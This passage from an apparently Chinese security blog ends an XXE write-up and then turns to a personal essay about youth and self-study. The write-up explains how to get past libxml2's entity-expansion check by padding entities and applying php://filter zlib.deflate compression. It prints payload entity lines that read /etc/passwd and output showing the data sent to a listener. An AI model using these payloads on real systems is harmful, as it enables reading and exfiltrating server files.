xmlEntityPtr ent)
{
[…]
if (size < XML_PARSER_BIG_ENTITY)
return(0);
[…]
if ((size < XML_PARSER_NON_LINEAR * consumed) &&
(ctxt>nbentities * 3 < XML_PARSER_NON_LINEAR * consumed))
return (0);
[…]
xmlFatalErr(ctxt, XML_ERR_ENTITY_LOOP, NULL);
return (1);
[…]

当实体加载完毕后,验证会触发:

  1. 其大小是否小于 1000 字符
  2. 其大小是否小于已经加载的内容大小10倍 ,并且已经加载的实体引用的数量的3倍是否小于已经加载的内容大小的10倍 满足一上条件之一,则返回 0,无错误。否在抛出error。

显然当我们加载 /etc/passwd 的时候 扩大整个XML 文档太多了,这个时候2个优化方法:

  1. 添加一些无用二进制序列,慢慢先增大xml,不要一开始就加载大的实体引用。
  2. 用一些其他的php filter 来压缩原始数据,比如 zlib.deflate,尽可能的不要去触发扩张检测
1
2
3
< !ENTITY % trash SYSTEM "< !ENTITY &#37; tr SYSTEM '{$long}'>"> //$long='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...' //500*'a'

< !ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">

Warning: simplexml_load_string(http://127.0.0.1:9999/?fVZbb6s4EH7vr+Bxj9SIcEna+K09lfZhT4+6zUr7uDLg......) 成功,我仅仅使用 php://filter/zlib.deflate 就解决了这个问题 。而后我知道这其实是一种保护,防止xml 文档大小以指数扩大。 纸上得来终觉浅,很多事情你以为可能就是这样,但是真的是这样吗?我可能要问问自己,别人实验没有这样的问题,不代表就没有。猜坑之旅,路无止境......

听着别人的故事,想着自己的青春

曾经有人问过我,是怎样一种东西让你学下去的,我很诧异的想了想,笑着说:你可以想一个少年远在距离家乡千里的地方,努力的为未来,梦想拼命的积攒是一种怎样的快乐 。是啊,远在它方,默默的努力,是一种怎样的心情。我选择了远方,因为我想一个人学会成长,学会独立。曾经的少年,现在正在慢慢长大。

我常常自我庆幸我选择了自己的路,喜欢的专业,可以为此付出自己的青春,相比那些学着适应的朋友,我很幸运。我现在的生活,每天上课,做自己的喜欢的事,偶尔去踢踢球,去打打球,跑跑步。我感觉很有意思,虽然我不像其他同学那些有时间去出去走走旅行,因为我大多数时间在做自己喜欢的事,为此乐此不彼。我想每个人都有自己的青春,我选择了自己的青春,以我自己的一仲方式去生活,去奋斗。我不后悔,我的青春也不过如此。

平时学东西google真的有时候,真的很难,因为英语不好,但我在看不懂的情况下我选择一个一个单词去查,我不想问别人,我现在也是单机,一人默默学习,沉淀自己。亲爱的朋友你知道这其中有多难吗?,但走过来也不过如此,我没有放弃,因为我从来没想过放弃,因为我选择了一种怎样的生活,并为此乐此不彼的生活的时候,我心中是充满希望和感激的。我很感谢那些前人。毕竟,就像图灵图书说的那样,站在巨人的肩膀

我一直坚信着低调,踏实,一步一步的走过来,不必想以后,你会慢慢超越自己的想象,就是这样还是大一的我,对大学充满了希望和梦想,太多的机遇在等待着我。看着身边的同学,有着不同生活,我感觉很好,这就是世界,我常常给自己一种孤单感,这样的感觉下很容易让自己静心。慢慢的也许你发现你身边同学的有着不一样的生活的时候,有些路只能一个人走的时候,你要鼓励自己慢慢的走下去,毕竟成长的路上少不了孤独。慢慢去感受它。现在沉浸在自己梦想里面的时候,对外界的是是非非也看的淡了,随缘吧。让自己的心慢慢静下来。我爹说过我,有时候很燥,我也知道,当你为了某件事去努力的时候,你的心很慢慢变化,对那些细致的数据,你需要的冷静的心态去分析的时候,何尝不是一种自我修炼呢?

一个故事关于一段青春,我的梦想想让那些期待我成功的看见我的成功,站在web之巅,我不想让他们失望。也是为了自己一段拼搏的青春。每个人都有自己的一段自己的青春。你从我的故事能感受到什么吗?一个追风少年的关于,成长,独立的故事.

我喜欢奔跑的感觉,因为我感觉我可以尽情的释放自己,感受生活,风儿也跟着你追的感觉。我喜欢过一个女孩,单纯的特别的喜欢,但有些事毕竟不可能,就像某些事学会释然,也许某个人正在下一站等着你呢,如今你的不被别人看好,也行下一个时候,别人也许就该仰望你了,这不是不可能的。感受生活,感受青春,我是个怀旧的人,不愿意忘记某些回忆,将他埋在心底。那些对我的人,我都记在心里,在将来的某一时刻,一一回报。青春就是一段勇敢的路途,学会背着梦想上路。

你在路上么?,我在这路上等你,彼此为了未来拼命的积攒,不畏未来。 --Time traveler M4p1e。